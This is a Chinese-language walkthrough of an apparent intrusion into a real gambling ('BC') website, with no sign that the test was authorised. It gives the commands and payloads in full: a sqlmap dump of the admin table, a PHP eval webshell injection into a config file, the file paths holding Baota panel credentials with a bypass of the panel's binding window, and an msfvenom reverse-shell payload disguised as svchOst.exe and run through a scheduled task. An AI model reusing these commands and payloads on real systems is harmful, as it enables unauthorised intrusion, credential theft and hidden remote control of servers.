一次BC站点的GetShell过程
字数 1335 2025-08-07 08:22:18
BC站点渗透测试:从SQL注入到GetShell的完整过程
0x00 前言
本文记录了一次针对BC站点的完整渗透测试过程,涵盖了从信息收集、源码审计、SQL注入、后台突破到最终GetShell和提权的全过程。该案例展示了如何通过系统性的方法对一个目标进行渗透测试。
0x01 信息收集与源码获取
目录扫描
使用dirsearch工具对目标站点进行目录扫描:
dirsearch -u 'http://x.x.x.x:80/' -e php
源码获取
当目录扫描未发现源码压缩包时,采取以下步骤:
- 分析网站特征和关键字
- 在GitHub上搜索相关关键字
- 成功获取部分源码用于审计
0x02 后台突破
后台登录页面发现
通过之前的扫描结果发现后台登录地址。
认证绕过分析
后台鉴权逻辑位于common/login_check.php:
<?php
@session_start(); //后台登陆验证
if(!isset($_SESSION["adminid"])){
unset($_SESSION["adminid"]);
unset($_SESSION["login_pwd"]);
unset($_SESSION["quanxian"]);
echo "<script>alert('login!!pass');</script>";
exit;
}else{
include_once("../../include/mysqlio.php");
寻找未受保护的文件
使用以下命令查找未包含login_check.php的文件:
find ./ -name "*.php" |xargs grep -L "login_check.php"
发现Get_Odds_1.php文件存在SQL注入漏洞。
0x03 SQL注入利用
漏洞确认
Get_Odds_1.php中的$type参数直接拼接进SQL语句,存在注入。
测试方法:
- 输入单引号测试是否报错
- 确认存在SQL注入漏洞
使用SQLMAP自动化利用
虽然注入点是GET类型,但直接使用-u参数无效,需要:
- 使用Burp抓包保存请求
- 使用
-r参数运行sqlmap:
sqlmap -r sql.txt -D dsncly -T sys_admin --dump
成功获取管理员账号密码。
0x04 GetShell过程
后台功能审计
- 黑盒测试未发现明显上传点
- 转向代码审计寻找写入点
危险函数搜索
全局搜索危险函数:
grep -r "eval\|file_put_contents\|fwrite\|fputs" .
发现可利用的文件写入点。
构造Payload
写入PHP文件的参数为ta_msg,仅去除两端空格,无其他过滤。
构造Payload:
');eval($_POST[a]);var_dump(md5(1));//;
成功写入到gp_db.php文件,实现GetShell。
0x05 宝塔提权
信息收集
通过phpinfo发现:
disable_function限制- 目标存在宝塔面板
宝塔凭证获取
获取宝塔相关文件:
- 密码文件:
D:/BtSoft1/panel/data/default.pl - 端口文件:
D:/BtSoft1/panel/data/port.pl - 后台路径:
D:/BtSoft1/panel/data/admin_path.pl - 账号文件:
D:/BtSoft1/panel/data/default.db
宝塔后台登录
访问后台地址:http://xxxx:8888/Tajl2eP0/
绕过强制绑定窗口:直接访问/site
提权方法一:禁用函数删除
通过宝塔面板:
- 进入"软件管理"->"已安装"
- 删除PHP的禁用函数
- 实现命令执行
提权方法二:计划任务
- 使用MSF生成木马:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=x.x.x.x LPORT=10001 EXTENSIONS=stdapi,priv -f exe > svchOst.exe
- 将木马放入C盘
- 添加计划任务执行
内网探测
执行基本内网探测命令:
ipconfig /all
arp -a
0x06 总结
本次渗透测试的关键点:
- 快速源码审计能力:在系统开发不规范时,通过危险函数定位漏洞
- 系统化渗透流程:从信息收集到最终提权的完整过程
- 多种提权途径:展示了两种不同的提权方法
- 工具组合使用:结合dirsearch、sqlmap、Burp等工具提高效率
该案例展示了即使面对开发混乱的系统,通过系统化的方法和快速的代码审计能力,仍然可以完成渗透测试目标。